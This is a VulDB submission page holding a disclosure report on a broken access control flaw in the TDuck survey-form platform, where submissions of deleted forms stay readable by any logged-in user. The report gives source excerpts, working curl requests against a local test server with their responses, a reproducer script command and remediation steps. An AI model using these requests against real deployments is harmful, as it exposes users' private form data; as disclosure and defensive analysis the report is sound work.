Enviar #963000: Github tduck-survey-form 4.0-5.3 broken access controllinformación

TítuloGithub tduck-survey-form 4.0-5.3 broken access controll
Descripción # TDuck Form Platform: "Orphaned" Form Submissions Readable by Any User After the Form Is Deleted (`GET /user/form/data/details/{dataId}`) ## Summary **Title:** The ownership-check utility of TDuckCloud `tduck-survey-form` silently passes when the form record no longer exists, and hard-deleting a form does not cascade-delete its submissions — as a result any authenticated user can read the full content of "orphaned" submissions left behind by deleted forms. `GET /user/form/data/details/{dataId}` does call `FormAuthUtils.hasPermission(formKey)` in its service layer and normally rejects non-owners. However, `hasPermission` **silently returns (fail-open) when the form record does not exist** (`FormAuthUtils.java:30-34`), while the hard-delete endpoints (`POST /user/form/recycle/delete`, `POST /user/form/delete`) **only remove the form row, its theme and settings — never the `fm_user_form_data` submission rows**. Therefore, after a victim deletes a form, the leftover submissions (whose formKey points to a non-existent form) pass the ownership check for every logged-in user. Verified: reading a submission of a still-existing form as a non-owner is rejected ("无表单权限"), while reading the orphaned submission of the deleted form returns the complete data (`code=200`). ## Affected Product / Versions | Item | Value | | ------------------ | ------------------------------------------------------------ | | Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) | | Affected component | `tduck-form` module `UserFormDataServiceImpl.getFormDataDetails` / `FormAuthUtils.hasPermission`; `tduck-api` module `UserFormController` (deletion logic) | | Affected versions | All releases containing this defect. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the same vulnerable code exists in the `v5.0` and `v4.0` source tags. | | Test environment | `http://localhost:8999`; attacker and victim are both ordinary users (`admin=false`) | ## Root Cause (source evidence) `tduck-form/.../form/util/FormAuthUtils.java:25-39`: ```java public void hasPermission(String formKey) { if (SecurityUtils.isAdmin(SecurityUtils.getUserId())) { return; } UserFormService userFormService = SpringContextUtils.getBean(UserFormService.class); UserFormEntity userFormEntity = userFormService.getByKey(formKey); if (ObjectUtil.isNull(userFormEntity)) { return; // ← flaw: form missing => check passes (fail-open) } if (!userFormEntity.getUserId().equals(SecurityUtils.getUserId())) { throw new BaseException("无表单权限"); } } ``` `tduck-api/.../web/controller/UserFormController.java:451-459` (hard delete, no cascade): ```java @PostMapping("/user/form/recycle/delete") public Result deleteRecycleForm(@RequestAttribute Long userId, @RequestBody UserFormEntity FormEntity) { boolean remove = formService.remove(Wrappers.<UserFormEntity>lambdaQuery() .eq(UserFormEntity::getUserId, userId) .eq(UserFormEntity::getFormKey, FormEntity.getFormKey())); // form row only if (remove) { userFormThemeService.remove(...); userFormSettingService.deleteAllSetting(FormEntity.getFormKey()); // ← fm_user_form_data rows are NOT deleted } return Result.success(remove); } ``` `tduck-form/.../service/impl/UserFormDataServiceImpl.java:169-186`: ```java public Result getFormDataDetails(String dataId) { UserFormDataEntity dataEntity = this.getById(dataId); // row still exists if (ObjectUtil.isNull(dataEntity)) { return Result.failed("数据不存在"); } FormAuthUtils.hasPermission(dataEntity.getFormKey()); // form deleted -> silently passes ... // returns the full submission (formFields + originalData + system fields) } ``` - The deletion flow is "soft delete (recycle bin) → permanent delete"; both only remove the form row — submission rows and ES documents remain. - The fail-open defect affects every endpoint that relies on `FormAuthUtils.hasPermission` (`query`, `delete/{formKey}`, etc.); in practice the exploitable objects are the leftover submissions/attachments. ## CWE - CWE-639: Authorization Bypass Through User-Controlled Key (IDOR read) - CWE-285: Improper Authorization — Fail-Open (check passes when the form is missing) - CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (deleting a form does not purge its submissions) ## Attack Vector & Preconditions - Attacker: any authenticated user (ordinary account suffices). - Precondition: the target orphaned submission's `dataId` (obtainable from historical exports, webhook event logs, or in combination with other issues; combined with TDUCK-02 the data can be read and rewritten). - The victim does not need to be online or to interact; form deletion is a normal business operation the attacker cannot prevent. ## PoC (verified evidence) > Environment `http://localhost:8999`; auth header `token: <JWT>`. > Victim `[email protected]` created two published forms: A (kept) `formKey=WJ39aouB` and B (to delete) `formKey=S1NQEQkr`; one submission each: A→`dataId=211742`, B→`dataId=211743`. The victim then moved B to the recycle bin and permanently deleted it (form row gone, submission row remains). Attacker `[email protected]` (id=1002, `admin=false`). ### 1) Control group: attacker reads a submission of a still-existing form (must be rejected) ```bash curl -s "http://localhost:8999/user/form/data/details/211742" -H "token: <attacker-token>" ``` Actual response (`code=500`, rejected): ```json {"code": 500, "msg": "无表单权限", "data": null} ``` ### 2) Attack group: attacker reads the orphaned submission of the deleted form (unauthorized read succeeds) ```bash curl -s "http://localhost:8999/user/form/data/details/211743" -H "token: <attacker-token>" ``` Actual response (`code=200`, full submission returned): ```json { "code": 200, "msg": null, "data": { "formData": { "f1": "DELETED-FORM-SECRET-DATA", "formKey": "S1NQEQkr", "serialNumber": 1, "submitRequestIp": "172.20.0.1", "submitAddress": "内网IP", "id": 211743, "createTime": "2026-08-30 22:28:15", "updateTime": "2026-08-30 22:28:15" }, "formFields": [ { "value": "f1", "label": "F1", "type": "TEXTAREA", "scheme": null } ] } } ``` → Database check confirms: the form B row is gone from `fm_user_form` (only A remains), while both submission rows 211742/211743 remain in `fm_user_form_data`. Control rejected, attack group succeeded — vulnerability confirmed. ## Impact 1. **Confidentiality (Medium–High):** historical submissions of deleted forms (frequently containing personal/sensitive data) can be read by any logged-in user — breaking the privacy expectation of "deleting the form". 2. **The defect surface is wider than `details`:** every endpoint relying on `FormAuthUtils.hasPermission` passes once the form is deleted; residual objects are mainly submissions/attachments. 3. **Chaining:** combined with TDUCK-02 (`update` without ownership check) orphaned submissions can be both read and rewritten; combined with TDUCK-01 (webhook event logs) `dataId` values can be harvested in bulk. ## Remediation 1. In `FormAuthUtils.hasPermission`, **throw "no permission / resource not found" when the form does not exist** instead of silently returning (fail-closed). 2. When deleting a form, cascade-clean `fm_user_form_data` (and ES documents, attachments), or soft-delete the submissions. 3. In `getFormDataDetails`, reject when the data exists but its form is missing. ## Reproducer Script A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_data_details_orphan.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above: ```bash python3 poc_form_data_details_orphan.py --victim-account [email protected] --victim-password xxx --attacker-account [email protected] --attacker-password xxx ``` > The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body. ## References & Disclosure - Affected source: `tduck-form/.../form/util/FormAuthUtils.java:25-39`; `tduck-api/.../web/controller/UserFormController.java:451-459` (and the `delete` path near `:196`); `tduck-form/.../service/impl/UserFormDataServiceImpl.java:169-186` - Verified 2026-08-30 in an authorized test environment; coordinated disclosure through the vendor's official channel (TDuckCloud open-source repository issues) is recommended. > Disclaimer: this report is solely based on security testing performed in an authorized environment; replace test addresses/accounts before submissi
Fuente⚠️ https://github.com/LinYuanyi1/cve-request-poc/blob/master/tduck/poc_form_data_details_orphan.py
Usuario
 lincoke (UID 100021)
Sumisión2026-09-07 10:07 (hace 1 mes)
Moderación2026-10-11 11:46 (1 month later)
EstadoDuplicado
Entrada de VulDB410427 [TDuckCloud TDuck Survey Form 6.0 Permission Check poc_form_data_details_orphan.py FormAuthUtils.hasPermission dataId escalada de privilegios]
Puntos0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!